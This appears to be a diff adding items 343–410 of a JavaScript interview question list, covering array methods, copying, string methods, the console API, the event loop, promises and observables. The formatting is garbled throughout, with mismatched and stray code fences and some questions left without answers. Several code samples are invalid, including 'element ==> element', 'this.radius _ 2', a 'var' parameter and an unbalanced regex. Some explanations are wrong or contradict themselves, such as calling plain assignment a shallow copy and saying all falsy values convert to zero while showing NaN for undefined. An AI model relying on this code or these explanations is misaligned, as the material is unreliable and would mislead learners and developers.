+             The some() method is used to test whether at least one element in the array passes the test implemented by the provided function. The method returns a boolean value. Let's take an example to test for any odd elements,
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5, 6 ,7, 8, 9, 10];
+
+             var odd = element ==> element % 2 !== 0;
+
+             console.log(array.some(odd)); // true (the odd element exists)
+             ```
+
+344.    How do you combine two or more arrays
+
+             The concat() method is used to join two or more arrays by returning a new array containing all the elements. The syntax would be as below,
+
+             ```js
+
+        //
+        array1.concat(array2, array3, ..., arrayX)
+
+        ````
+
+             Let's take an example of array's concatenation with veggies and fruits arrays,
+
+             ```js
+
+        //
+        var veggies = ['Tomato', 'Carrot', 'Cabbage'];
+        var fruits = ['Apple', 'Orange', 'Pears'];
+        var veggiesAndFruits = veggies.concat(fruits);
+        console.log(veggiesAndFruits); // Tomato, Carrot, Cabbage, Apple, Orange, Pears
+        ````
+
+345.    What is the difference between Shallow and Deep copy
+
+             There are two ways to copy an object,
+
+             **Shallow Copy:**
+             Shallow copy is a bitwise copy of an object. A new object is created that has an exact copy of the values in the original object. If any of the fields of the object are references to other objects, just the reference addresses are copied i.e., only the memory address is copied.
+
+             **Example**
+
+             ```js
+
+        //
+        var empDetails = {
+        name: 'John',
+        age: 25,
+        expertise: 'Software Developer'
+        };
+
+        ````
+
+             to create a duplicate
+
+             ```js
+
+        //
+        var empDetailsShallowCopy = empDetails; //Shallow copying!
+        ````
+
+             if we change some property value in the duplicate one like this:
+
+             ```js
+
+        //
+        empDetailsShallowCopy.name = 'Johnson';
+
+        ````
+
+             The above statement will also change the name of `empDetails`, since we have a shallow copy. That means we're losing the original data as well.
+
+             **Deep copy:**
+             A deep copy copies all fields, and makes copies of dynamically allocated memory pointed to by the fields. A deep copy occurs when an object is copied along with the objects to which it refers.
+
+             **Example**
+
+             ```js
+
+        //
+        var empDetails = {
+        name: 'John',
+        age: 25,
+        expertise: 'Software Developer'
+        };
+        ````
+
+             Create a deep copy by using the properties from the original object into new variable
+
+             ```js
+
+        //
+        var empDetailsDeepCopy = {
+        name: empDetails.name,
+        age: empDetails.age,
+        expertise: empDetails.expertise
+        };
+
+        ```
+
+             Now if you change `empDetailsDeepCopy.name`, it will only affect `empDetailsDeepCopy` & not `empDetails`
+
+        ```
+
+346.    How do you create specific number of copies of a string
+
+             The `repeat()` method is used to construct and return a new string which contains the specified number of copies of the string on which it was called, concatenated together. Remember that this method has been added to the ECMAScript 2015 specification.
+             Let's take an example of Hello string to repeat it 4 times,
+
+             ```js
+
+        //
+        'Hello'.repeat(4); // 'HelloHelloHelloHello'
+
+        ```
+
+        ```
+
+347.    How do you return all matching strings against a regular expression
+
+             The `matchAll()` method can be used to return an iterator of all results matching a string against a regular expression. For example, the below example returns an array of matching string results against a regular expression,
+
+             ```js
+
+        //
+        let regexp = /Hello(\d?))/g;
+        let greeting = 'Hello1Hello2Hello3';
+
+             let greetingList = [...greeting.matchAll(regexp)];
+
+             console.log(greetingList[0]); //Hello1
+             console.log(greetingList[1]); //Hello2
+             console.log(greetingList[2]); //Hello3
+             ```
+
+348.    How do you trim a string at the beginning or ending
+
+             The `trim` method of string prototype is used to trim on both sides of a string. But if you want to trim especially at the beginning or ending of the string then you can use `trimStart/trimLeft` and `trimEnd/trimRight` methods. Let's see an example of these methods on a greeting message,
+
+             ```js
+
+        //
+        var greeting = ' Hello, Goodmorning! ';
+
+             console.log(greeting); // "   Hello, Goodmorning!   "
+             console.log(greeting.trimStart()); // "Hello, Goodmorning!   "
+             console.log(greeting.trimLeft()); // "Hello, Goodmorning!   "
+
+             console.log(greeting.trimEnd()); // "   Hello, Goodmorning!"
+             console.log(greeting.trimRight()); // "   Hello, Goodmorning!"
+             ```
+
+349.    What is the output of below console statement with unary operator
+
+             Let's take console statement with unary operator as given below,
+
+             ```js
+
+        //
+        console.log(+'Hello');
+
+        ```
+
+             The output of the above console log statement returns NaN. Because the element is prefixed by the unary operator and the JavaScript interpreter will try to convert that element into a number type. Since the conversion fails, the value of the statement results in NaN value.
+
+        ```
+
+350.    Does javascript uses mixins
+
+351.    What is a thunk function
+
+             A thunk is just a function which delays the evaluation of the value. It doesn't take any arguments but gives the value whenever you invoke the thunk. i.e, It is used not to execute now but it will be sometime in the future. Let's take a synchronous example,
+
+             ```js
+
+        //
+        const add = (x, y) => x + y;
+
+             const thunk = () => add(2, 3);
+
+             thunk(); // 5
+             ```
+
+352.    What are asynchronous thunks
+
+             The asynchronous thunks are useful to make network requests. Let's see an example of network requests,
+
+             ```js
+
+        //
+        function fetchData(fn) {
+        fetch('https://jsonplaceholder.typicode.com/todos/1')
+        .then((response) => response.json())
+        .then((json) => fn(json));
+        }
+
+             const asyncThunk = function () {
+                 return fetchData(function getData(data) {
+                     console.log(data);
+                 });
+             };
+
+             asyncThunk();
+             ```
+
+             The `getData` function won't be called immediately but it will be invoked only when the data is available from API endpoint. The setTimeout function is also used to make our code asynchronous. The best real time example is redux state management library which uses the asynchronous thunks to delay the actions to dispatch.
+
+353.    What is the output of below function calls
+
+             **Code snippet:**
+
+             ```js
+
+        //
+        const circle = {
+        radius: 20,
+        diameter() {
+        return this.radius _ 2;
+        },
+        perimeter: () => 2 _ Math.PI \* this.radius
+        };
+
+        ```
+
+             console.log(circle.diameter());
+             console.log(circle.perimeter());
+
+             **Output:**
+
+             The output is 40 and NaN. Remember that diameter is a regular function, whereas the value of perimeter is an arrow function. The `this` keyword of a regular function(i.e, diameter) refers to the surrounding scope which is a class(i.e, Shape object). Whereas this keyword of perimeter function refers to the surrounding scope which is a window object. Since there is no radius property on window objects it returns an undefined value and the multiple of number value returns NaN value.
+
+        ```
+
+354.    How to remove all line breaks from a string
+
+             The easiest approach is using regular expressions to detect and replace newlines in the string. In this case, we use replace function along with string to replace with, which in our case is an empty string.
+
+             ```js
+
+        //
+        function remove_linebreaks( var message ) {
+        return message.replace( /[\r\n]+/gm, "" );
+        }
+
+        ```
+
+             In the above expression, g and m are for global and multiline flags.
+
+        ```
+
+355.    What is the difference between reflow and repaint
+
+        A _repaint_ occurs when changes are made which affect the visibility of an element, but not its layout. Examples of this include outline, visibility, or background color. A _reflow_ involves changes that affect the layout of a portion of the page (or the whole page). Resizing the browser window, changing the font, content changing (such as user typing text), using JavaScript methods involving computed styles, adding or removing elements from the DOM, and changing an element's classes are a few of the things that can trigger reflow. Reflow of an element causes the subsequent reflow of all child and ancestor elements as well as any elements following it in the DOM.
+
+356.    What happens with negating an array
+
+             Negating an array with `!` character will coerce the array into a boolean. Since Arrays are considered to be truthy So negating it will return `false`.
+
+             ```js
+
+        //
+        console.log(![]); // false
+
+        ```
+
+        ```
+
+357.    What happens if we add two arrays
+
+             If you add two arrays together, it will convert them both to strings and concatenate them. For example, the result of adding arrays would be as below,
+
+             ```js
+
+        //
+        console.log(['a'] + ['b']); // "ab"
+        console.log([] + []); // ""
+        console.log(![] + []); // "false", because ![] returns false.
+
+        ```
+
+        ```
+
+358.    What is the output of prepend additive operator on falsy values
+
+             If you prepend the additive(+) operator on falsy values(null, undefined, NaN, false, ""), the falsy value converts to a number value zero. Let's display them on browser console as below,
+
+             ```js
+
+        //
+        console.log(+null); // 0
+        console.log(+undefined); // NaN
+        console.log(+false); // 0
+        console.log(+NaN); // NaN
+        console.log(+''); // 0
+
+        ```
+
+        ```
+
+359.    How do you create self string using special characters
+
+             The self string can be formed with the combination of `[]()!+` characters. You need to remember the below conventions to achieve this pattern.
+
+             1. Since Arrays are truthful values, negating the arrays will produce false: ![] === false
+             2. As per JavaScript coercion rules, the addition of arrays together will toString them: [] + [] === ""
+             3. Prepend an array with + operator will convert an array to false, the negation will make it true and finally converting the result will produce value '1': +(!(+[])) === 1
+
+             By applying the above rules, we can derive below conditions
+
+             ```js
+
+        //
+        (![] + [] === 'false' + !+[]) === 1;
+
+        ````
+
+             Now the character pattern would be created as below,
+
+             ```js
+
+        //
+        s e l f
+        ^^^^^^^^^^^^^ ^^^^^^^^^^^^^ ^^^^^^^^^^^^^ ^^^^^^^^^^^^^
+
+              (![] + [])[3] + (![] + [])[4] + (![] + [])[2] + (![] + [])[0]
+              ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+             (![] + [])[+!+[]+!+[]+!+[]] +
+             (![] + [])[+!+[]+!+[]+!+[]+!+[]] +
+             (![] + [])[+!+[]+!+[]] +
+             (![] + [])[+[]]
+             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+             (![]+[])[+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]]+(![]+[])[+[]]
+             ```
+
+        ````
+
+360.    How do you remove falsy values from an array
+
+             You can apply the filter method on the array by passing Boolean as a parameter. This way it removes all falsy values(0, undefined, null, false and "") from the array.
+
+             ```js
+
+        //
+        const myArray = [false, null, 1, 5, undefined];
+        myArray.filter(Boolean); // [1, 5] // is same as myArray.filter(x => x);
+
+        ```
+
+        ```
+
+361.    How do you get unique values of an array
+
+             You can get unique values of an array with the combination of `Set` and rest expression/spread(...) syntax.
+
+             ```js
+
+        //
+        console.log([...new Set([1, 2, 4, 4, 3])]); // [1, 2, 4, 3]
+
+        ```
+
+        ```
+
+362.    What is destructuring aliases
+
+             Sometimes you would like to have a destructured variable with a different name than the property name. In that case, you'll use a `: newName` to specify a name for the variable. This process is called destructuring aliases.
+
+             ```js
+
+        //
+        const obj = { x: 1 };
+        // Grabs obj.x as as { otherName }
+        const { x: otherName } = obj;
+
+        ```
+
+        ```
+
+363.    How do you map the array values without using map method
+
+             You can map the array values without using the `map` method by just using the `from` method of Array. Let's map city names from Countries array,
+
+             ```js
+
+        //
+        const countries = [
+        { name: 'India', capital: 'Delhi' },
+        { name: 'US', capital: 'Washington' },
+        { name: 'Russia', capital: 'Moscow' },
+        { name: 'Singapore', capital: 'Singapore' },
+        { name: 'China', capital: 'Beijing' },
+        { name: 'France', capital: 'Paris' }
+        ];
+
+             const cityNames = Array.from(countries, ({ capital }) => capital);
+             console.log(cityNames); // ['Delhi, 'Washington', 'Moscow', 'Singapore', 'Beijing', 'Paris']
+             ```
+
+364.    How do you empty an array
+
+             You can empty an array quickly by setting the array length to zero.
+
+             ```js
+
+        //
+        let cities = ['Singapore', 'Delhi', 'London'];
+        cities.length = 0; // cities becomes []
+
+        ```
+
+        ```
+
+365.    How do you rounding numbers to certain decimals
+
+             You can round numbers to a certain number of decimals using `toFixed` method from native javascript.
+
+             ```js
+
+        //
+        let pie = 3.141592653;
+        pie = pie.toFixed(3); // 3.142
+
+        ```
+
+        ```
+
+366.    What is the easiest way to convert an array to an object
+
+             You can convert an array to an object with the same data using spread(...) operator.
+
+             ```js
+
+        //
+        var fruits = ['banana', 'apple', 'orange', 'watermelon'];
+        var fruitsObject = { ...fruits };
+        console.log(fruitsObject); // {0: "banana", 1: "apple", 2: "orange", 3: "watermelon"}
+
+        ```
+
+        ```
+
+367.    How do you create an array with some data
+
+             You can create an array with some data or an array with the same values using `fill` method.
+
+             ```js
+
+        //
+        var newArray = new Array(5).fill('0');
+        console.log(newArray); // ["0", "0", "0", "0", "0"]
+
+        ```
+
+        ```
+
+368.    What are the placeholders from console object
+
+             Below are the list of placeholders available from console object,
+
+             1. %o — It takes an object,
+             2. %s — It takes a string,
+             3. %d — It is used for a decimal or integer
+                These placeholders can be represented in the console.log as below
+
+             ```js
+
+        //
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.log('Hello %s, your details %o are available in the object form', 'John', user); // Hello John, your details {name: "John", id: 1, city: "Delhi"} are available in object
+
+        ```
+
+        ```
+
+369.    Is it possible to add CSS to console messages
+
+             Yes, you can apply CSS styles to console messages similar to html text on the web page.
+
+             ```js
+
+        //
+        console.log('%c The text has blue color, with large font and red background', 'color: blue; font-size: x-large; background: red');
+
+        ```
+
+             The text will be displayed as below,
+             ![Screenshot](images/console-css.png)
+
+             **Note:** All CSS styles can be applied to console messages.
+
+        ```
+
+370.    What is the purpose of dir method of console object
+
+             The `console.dir()` is used to display an interactive list of the properties of the specified JavaScript object as JSON.
+
+             ```js
+
+        //
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.dir(user);
+
+        ```
+
+             The user object displayed in JSON representation
+             ![Screenshot](images/console-dir.png)
+
+        ```
+
+371.    Is it possible to debug HTML elements in console
+
+             Yes, it is possible to get and debug HTML elements in the console just like inspecting elements.
+
+             ```js
+
+        //
+        const element = document.getElementsByTagName('body')[0];
+        console.log(element);
+
+        ```
+
+             It prints the HTML element in the console,
+
+             ![Screenshot](images/console-html.png)
+
+        ```
+
+372.    How do you display data in a tabular format using console object
+
+             The `console.table()` is used to display data in the console in a tabular format to visualize complex arrays or objects.
+
+             ```js
+
+        //
+        const users = [
+        { name: 'John', id: 1, city: 'Delhi' },
+        { name: 'Max', id: 2, city: 'London' },
+        { name: 'Rod', id: 3, city: 'Paris' }
+        ];
+        console.table(users);
+
+        ```
+
+             The data visualized in a table format,
+
+             ![Screenshot](images/console-table.png)
+             **Not:** Remember that `console.table()` is not supported in IE.
+
+        ```
+
+373.    How do you verify that an argument is a Number or not
+
+             The combination of IsNaN and isFinite methods are used to confirm whether an argument is a number or not.
+
+             ```js
+
+        //
+        function isNumber(n) {
+        return !isNaN(parseFloat(n)) && isFinite(n);
+        }
+
+        ```
+
+        ```
+
+374.    How do you create copy to clipboard button
+
+             You need to select the content(using .select() method) of the input element and execute the copy command with execCommand (i.e, execCommand('copy')). You can also execute other system commands like cut and paste.
+
+             ```js
+
+        //
+        document.querySelector('#copy-button').onclick = function () {
+        // Select the content
+        document.querySelector('#copy-input').select();
+        // Copy to the clipboard
+        document.execCommand('copy');
+        };
+
+        ```
+
+        ```
+
+375.    What is the shortcut to get timestamp
+
+             You can use `new Date().getTime()` to get the current timestamp. There is an alternative shortcut to get the value.
+
+             ```js
+
+        //
+        console.log(+new Date());
+        console.log(Date.now());
+
+        ```
+
+        ```
+
+376.    How do you flattening multi dimensional arrays
+
+             Flattening bi-dimensional arrays is trivial with Spread operator.
+
+             ```js
+
+        //
+        const biDimensionalArr = [11, [22, 33], [44, 55], [66, 77], 88, 99];
+        const flattenArr = [].concat(...biDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+
+        ````
+
+             But you can make it work with multi-dimensional arrays by recursive calls,
+
+             ```js
+
+        //
+        function flattenMultiArray(arr) {
+        const flattened = [].concat(...arr);
+        return flattened.some((item) => Array.isArray(item)) ? flattenMultiArray(flattened) : flattened;
+        }
+        const multiDimensionalArr = [11, [22, 33], [44, [55, 66, [77, [88]], 99]]];
+        const flatArr = flattenMultiArray(multiDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ````
+
+377.    What is the easiest multi condition checking
+
+             You can use `indexOf` to compare input with multiple values instead of checking each value as one condition.
+
+             ```js
+
+        //
+        // Verbose approach
+        if (input === 'first' || input === 1 || input === 'second' || input === 2) {
+        someFunction();
+        }
+        // Shortcut
+        if (['first', 1, 'second', 2].indexOf(input) !== -1) {
+        someFunction();
+        }
+
+        ```
+
+        ```
+
+378.    How do you capture browser back button
+
+             The `window.onbeforeunload` method is used to capture browser back button events. This is helpful to warn users about losing the current data.
+
+             ```js
+
+        //
+        window.onbeforeunload = function () {
+        alert('You work will be lost');
+        };
+
+        ```
+
+        ```
+
+379.    How do you disable right click in the web page
+
+             The right click on the page can be disabled by returning false from the `oncontextmenu` attribute on the body element.
+
+             ```html
+             <body oncontextmenu="return false;">
+
+        </body>
+             ```
+
+380.    What are wrapper objects
+
+             Primitive Values like string,number and boolean don't have properties and methods but they are temporarily converted or coerced to an object(Wrapper object) when you try to perform actions on them. For example, if you apply toUpperCase() method on a primitive string value, it does not throw an error but returns uppercase of the string.
+
+             ```js
+
+        //
+        let name = 'john';
+
+             console.log(name.toUpperCase()); // Behind the scenes treated as console.log(new String(name).toUpperCase());
+             ```
+
+             i.e, Every primitive except null and undefined have Wrapper Objects and the list of wrapper objects are String,Number,Boolean,Symbol and BigInt.
+
+381.    What is AJAX
+
+        AJAX stands for Asynchronous JavaScript and XML and it is a group of related technologies(HTML, CSS, JavaScript, XMLHttpRequest API etc) used to display data asynchronously. i.e. We can send data to the server and get data from the server without reloading the web page.
+
+382.    What are the different ways to deal with Asynchronous Code
+
+        Below are the list of different ways to deal with Asynchronous code.
+
+        1. Callbacks
+        2. Promises
+        3. Async/await
+        4. Third-party libraries such as async.js,bluebird etc
+
+383.    How to cancel a fetch request
+
+             Until a few days back, One shortcoming of native promises is no direct way to cancel a fetch request. But the new `AbortController` from js specification allows you to use a signal to abort one or multiple fetch calls.
+             The basic flow of cancelling a fetch request would be as below,
+
+             1. Create an `AbortController` instance
+             2. Get the signal property of an instance and pass the signal as a fetch option for signal
+             3. Call the AbortController's abort property to cancel all fetches that use that signal
+                For example, let's pass the same signal to multiple fetch calls will cancel all requests with that signal,
+
+             ```js
+
+        //
+        const controller = new AbortController();
+        const { signal } = controller;
+
+             fetch('http://localhost:8000', { signal })
+                 .then((response) => {
+                     console.log(`Request 1 is complete!`);
+                 })
+                 .catch((e) => {
+                     if (e.name === 'AbortError') {
+                         // We know it's been canceled!
+                     }
+                 });
+
+             fetch('http://localhost:8000', { signal })
+                 .then((response) => {
+                     console.log(`Request 2 is complete!`);
+                 })
+                 .catch((e) => {
+                     if (e.name === 'AbortError') {
+                         // We know it's been canceled!
+                     }
+                 });
+
+             // Wait 2 seconds to abort both requests
+             setTimeout(() => controller.abort(), 2000);
+             ```
+
+384.    What is web speech API
+
+             Web speech API is used to enable modern browsers recognize and synthesize speech(i.e, voice data into web apps). This API has been introduced by W3C Community in the year 2012. It has two main parts,
+
+             1. **SpeechRecognition (Asynchronous Speech Recognition or Speech-to-Text):** It provides the ability to recognize voice context from an audio input and respond accordingly. This is accessed by the `SpeechRecognition` interface.
+                The below example shows on how to use this API to get text from speech,
+
+             ```js
+
+        //
+        window.SpeechRecognition = window.webkitSpeechRecognition || window.SpeechRecognition; // webkitSpeechRecognition for Chrome and SpeechRecognition for FF
+        const recognition = new window.SpeechRecognition();
+        recognition.onresult = (event) => {
+        // SpeechRecognitionEvent type
+        const speechToText = event.results[0][0].transcript;
+        console.log(speechToText);
+        };
+        recognition.start();
+
+        ````
+
+             In this API, browser is going to ask you for permission to use your microphone
+
+             1. **SpeechSynthesis (Text-to-Speech):** It provides the ability to recognize voice context from an audio input and respond. This is accessed by the `SpeechSynthesis` interface.
+                For example, the below code is used to get voice/speech from text,
+
+             ```js
+
+        //
+        if ('speechSynthesis' in window) {
+        var speech = new SpeechSynthesisUtterance('Hello World!');
+        speech.lang = 'en-US';
+        window.speechSynthesis.speak(speech);
+        }
+        ````
+
+             The above examples can be tested on chrome(33+) browser's developer console.
+             **Note:** This API is still a working draft and only available in Chrome and Firefox browsers(ofcourse Chrome only implemented the specification)
+
+385.    What is minimum timeout throttling
+
+             Both browser and NodeJS javascript environments throttles with a minimum delay that is greater than 0ms. That means even though setting a delay of 0ms will not happen instantaneously.
+             **Browsers:** They have a minimum delay of 4ms. This throttle occurs when successive calls are triggered due to callback nesting(certain depth) or after a certain number of successive intervals.
+             Note: The older browsers have a minimum delay of 10ms.
+             **Nodejs:** They have a minimum delay of 1ms. This throttle happens when the delay is larger than 2147483647 or less than 1.
+             The best example to explain this timeout throttling behavior is the order of below code snippet.
+
+             ```js
+
+        //
+        function runMeFirst() {
+        console.log('My script is initialized');
+        }
+        setTimeout(runMeFirst, 0);
+        console.log('Script loaded');
+
+        ````
+
+             and the output would be in
+
+             ```console
+             Script loaded
+             My script is initialized
+             ```
+
+             If you don't use `setTimeout`, the order of logs will be sequential.
+
+             ```js
+
+        //
+        function runMeFirst() {
+        console.log('My script is initialized');
+        }
+        runMeFirst();
+        console.log('Script loaded');
+        ````
+
+             and the output is,
+
+             ```console
+             My script is initialized
+             Script loaded
+             ```
+
+386.    How do you implement zero timeout in modern browsers
+
+        You can't use setTimeout(fn, 0) to execute the code immediately due to minimum delay of greater than 0ms. But you can use window.postMessage() to achieve this behavior.
+
+387.    What are tasks in event loop
+
+        A task is any javascript code/program which is scheduled to be run by the standard mechanisms such as initially starting to run a program, run an event callback, or an interval or timeout being fired. All these tasks are scheduled on a task queue.
+        Below are the list of use cases to add tasks to the task queue,
+
+        1. When a new javascript program is executed directly from console or running by the `<script>` element, the task will be added to the task queue.
+        2. When an event fires, the event callback added to task queue
+        3. When a setTimeout or setInterval is reached, the corresponding callback added to task queue
+
+388.    What is microtask
+
+        Microtask is the javascript code which needs to be executed immediately after the currently executing task/microtask is completed. They are kind of blocking in nature. i.e, The main thread will be blocked until the microtask queue is empty.
+        The main sources of microtasks are Promise.resolve, Promise.reject, MutationObservers, IntersectionObservers etc
+
+        **Note:** All of these microtasks are processed in the same turn of the event loop.
+
+389.    What are different event loops
+
+390.    What is the purpose of queueMicrotask
+
+391.    How do you use javascript libraries in typescript file
+
+             It is known that not all JavaScript libraries or frameworks have TypeScript declaration files. But if you still want to use libraries or frameworks in our TypeScript files without getting compilation errors, the only solution is `declare` keyword along with a variable declaration. For example, let's imagine you have a library called `customLibrary` that doesn't have a TypeScript declaration and have a namespace called `customLibrary` in the global namespace. You can use this library in typescript code as below,
+
+             ```js
+
+        //
+        declare var customLibrary;
+
+        ````
+
+             In the runtime, typescript will provide the type to the `customLibrary` variable as `any` type. The another alternative without using declare keyword is below
+
+             ```js
+
+        //
+        var customLibrary: any;
+        ````
+
+392.    What are the differences between promises and observables
+
+        Some of the major difference in a tabular form
+
+        | Promises                                                           | Observables                                                                              |
+        | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------- |
+        | Emits only a single value at a time                                | Emits multiple values over a period of time(stream of values ranging from 0 to multiple) |
+        | Eager in nature; they are going to be called immediately           | Lazy in nature; they require subscription to be invoked                                  |
+        | Promise is always asynchronous even though it resolved immediately | Observable can be either synchronous or asynchronous                                     |
+        | Doesn't provide any operators                                      | Provides operators such as map, forEach, filter, reduce, retry, and retryWhen etc        |
+        | Cannot be canceled                                                 | Canceled by using unsubscribe() method                                                   |
+
+393.    What is heap
+
+        Heap(Or memory heap) is the memory location where objects are stored when we define variables. i.e, This is the place where all the memory allocations and de-allocation take place. Both heap and call-stack are two containers of JS runtime.
+        Whenever runtime comes across variables and function declarations in the code it stores them in the Heap.
+
+        ![Screenshot](images/heap.png)
+
+394.    What is an event table
+
+        Event Table is a data structure that stores and keeps track of all the events which will be executed asynchronously like after some time interval or after the resolution of some API requests. i.e Whenever you call a setTimeout function or invoke async operation, it is added to the Event Table.
+        It doesn't not execute functions on it's own. The main purpose of the event table is to keep track of events and send them to the Event Queue as shown in the below diagram.
+
+        ![Screenshot](images/event-table.png)
+
+395.    What is a microTask queue
+
+        Microtask Queue is the new queue where all the tasks initiated by promise objects get processed before the callback queue.
+        The microtasks queue are processed before the next rendering and painting jobs. But if these microtasks are running for a long time then it leads to visual degradation.
+
+396.    What is the difference between shim and polyfill
+
+        A shim is a library that brings a new API to an older environment, using only the means of that environment. It isn't necessarily restricted to a web application. For example, es5-shim.js is used to emulate ES5 features on older browsers (mainly pre IE9).
+        Whereas polyfill is a piece of code (or plugin) that provides the technology that you, the developer, expect the browser to provide natively.
+        In a simple sentence, A polyfill is a shim for a browser API.
+
+397.    How do you detect primitive or non primitive value type
+
+             In JavaScript, primitive types include boolean, string, number, BigInt, null, Symbol and undefined. Whereas non-primitive types include the Objects. But you can easily identify them with the below function,
+
+             ```js
+
+        //
+        var myPrimitive = 30;
+        var myNonPrimitive = {};
+        function isPrimitive(val) {
+        return Object(val) !== val;
+        }
+
+             isPrimitive(myPrimitive);
+             isPrimitive(myNonPrimitive);
+             ```
+
+             If the value is a primitive data type, the Object constructor creates a new wrapper object for the value. But If the value is a non-primitive data type (an object), the Object constructor will give the same object.
+
+398.    What is babel
+
+        Babel is a JavaScript transpiler to convert ECMAScript 2015+ code into a backwards compatible version of JavaScript in current and older browsers or environments. Some of the main features are listed below,
+
+        1. Transform syntax
+        2. Polyfill features that are missing in your target environment (using @babel/polyfill)
+        3. Source code transformations (or codemods)
+
+399.    Is Node.js completely single threaded
+
+        Node is a single thread, but some of the functions included in the Node.js standard library(e.g, fs module functions) are not single threaded. i.e, Their logic runs outside of the Node.js single thread to improve the speed and performance of a program.
+
+400.    What are the common use cases of observables
+
+        Some of the most common use cases of observables are web sockets with push notifications, user input changes, repeating intervals, etc
+
+401.    What is RxJS
+
+        RxJS (Reactive Extensions for JavaScript) is a library for implementing reactive programming using observables that makes it easier to compose asynchronous or callback-based code. It also provides utility functions for creating and working with observables.
+
+402.    What is the difference between Function constructor and function declaration
+
+             The functions which are created with `Function constructor` do not create closures to their creation contexts but they are always created in the global scope. i.e, the function can access its own local variables and global scope variables only. Whereas function declarations can access outer function variables(closures) too.
+
+             Let's see this difference with an example,
+
+             **Function Constructor:**
+
+             ```js
+
+        //
+        var a = 100;
+        function createFunction() {
+        var a = 200;
+        return new Function('return a;');
+        }
+        console.log(createFunction()()); // 100
+
+        ````
+
+             **Function declaration:**
+
+             ```js
+
+        //
+        var a = 100;
+        function createFunction() {
+        var a = 200;
+        return function func() {
+        return a;
+        };
+        }
+        console.log(createFunction()()); // 200
+        ````
+
+403.    What is a Short circuit condition
+
+             Short circuit conditions are meant for condensed way of writing simple if statements. Let's demonstrate the scenario using an example. If you would like to login to a portal with an authentication condition, the expression would be as below,
+
+             ```js
+
+        //
+        if (authenticate) {
+        loginToPorta();
+        }
+
+        ````
+
+             Since the javascript logical operators evaluated from left to right, the above expression can be simplified using && logical operator
+
+             ```js
+
+        //
+        authenticate && loginToPorta();
+        ````
+
+404.    What is the easiest way to resize an array
+
+             The length property of an array is useful to resize or empty an array quickly. Let's apply length property on number array to resize the number of elements from 5 to 2,
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5];
+        console.log(array.length); // 5
+
+             array.length = 2;
+             console.log(array.length); // 2
+             console.log(array); // [1,2]
+             ```
+
+             and the array can be emptied too
+
+             ```js
+
+        //
+        var array = [1, 2, 3, 4, 5];
+        array.length = 0;
+        console.log(array.length); // 0
+        console.log(array); // []
+
+        ```
+
+        ```
+
+405.    What is an observable
+
+             An Observable is basically a function that can return a stream of values either synchronously or asynchronously to an observer over time. The consumer can get the value by calling `subscribe()` method.
+             Let's look at a simple example of an Observable
+
+             ```js
+
+        //
+        import { Observable } from 'rxjs';
+
+             const observable = new Observable((observer) => {
+                 setTimeout(() => {
+                     observer.next('Message from a Observable!');
+                 }, 3000);
+             });
+
+             observable.subscribe((value) => console.log(value));
+             ```
+
+             ![Screenshot](images/observables.png)
+
+             **Note:** Observables are not part of the JavaScript language yet but they are being proposed to be added to the language
+
+406.    What is the difference between function and class declarations
+
+             The main difference between function declarations and class declarations is `hoisting`. The function declarations are hoisted but not class declarations.
+
+             **Classes:**
+
+             ```js
+
+        //
+        const user = new User(); // ReferenceError
+
+             class User {}
+             ```
+
+             **Constructor Function:**
+
+             ```js
+
+        //
+        const user = new User(); // No error
+
+             function User() {}
+             ```
+
+407.    What is an async function
+
+             An async function is a function declared with the `async` keyword which enables asynchronous, promise-based behavior to be written in a cleaner style by avoiding promise chains. These functions can contain zero or more `await` expressions.
+
+             Let's take a below async function example,
+
+             ```js
+
+        //
+        async function logger() {
+        let data = await fetch('http://someapi.com/users'); // pause until fetch returns
+        console.log(data);
+        }
+        logger();
+
+        ```
+
+             It is basically syntax sugar over ES2015 promises and generators.
+
+        ```
+
+408.    How do you prevent promises swallowing errors
+
+             While using asynchronous code, JavaScript's ES6 promises can make your life a lot easier without having callback pyramids and error handling on every second line. But Promises have some pitfalls and the biggest one is swallowing errors by default.
+
+             Let's say you expect to print an error to the console for all the below cases,
+
+             ```js
+
+        //
+        Promise.resolve('promised value').then(function () {
+        throw new Error('error');
+        });
+
+             Promise.reject('error value').catch(function () {
+                 throw new Error('error');
+             });
+
+             new Promise(function (resolve, reject) {
+                 throw new Error('error');
+             });
+             ```
+
+             But there are many modern JavaScript environments that won't print any errors. You can fix this problem in different ways,
+
+             1. **Add catch block at the end of each chain:** You can add catch block to the end of each of your promise chains
+
+                 ```js
+
+        //
+        Promise.resolve('promised value')
+        .then(function () {
+        throw new Error('error');
+        })
+        .catch(function (error) {
+        console.error(error.stack);
+        });
+
+        ````
+
+                 But it is quite difficult to type for each promise chain and verbose too.
+
+             2. **Add done method:** You can replace first solution's then and catch blocks with done method
+
+                 ```js
+
+        //
+        Promise.resolve('promised value').done(function () {
+        throw new Error('error');
+        });
+        ````
+
+                 Let's say you want to fetch data using HTTP and later perform processing on the resulting data asynchronously. You can write `done` block as below,
+
+                 ```js
+
+        //
+        getDataFromHttp()
+        .then(function (result) {
+        return processDataAsync(result);
+        })
+        .done(function (processed) {
+        displayData(processed);
+        });
+
+        ````
+
+                 In future, if the processing library API changed to synchronous then you can remove `done` block as below,
+
+                 ```js
+
+        //
+        getDataFromHttp().then(function (result) {
+        return displayData(processDataAsync(result));
+        });
+        ````
+
+                 and then you forgot to add `done` block to `then` block leads to silent errors.
+
+             3. **Extend ES6 Promises by Bluebird:**
+                Bluebird extends the ES6 Promises API to avoid the issue in the second solution. This library has a "default" onRejection handler which will print all errors from rejected Promises to stderr. After installation, you can process unhandled rejections
+
+                 ```js
+
+        //
+        Promise.onPossiblyUnhandledRejection(function (error) {
+        throw error;
+        });
+
+        ````
+
+                 and discard a rejection, just handle it with an empty catch
+
+                 ```js
+
+        //
+        Promise.reject('error value').catch(function () {});
+        ````
+
+409.    What is deno
+
+        Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 JavaScript engine and the Rust programming language.
+
+410.    How do you make an object iterable in javascript
+
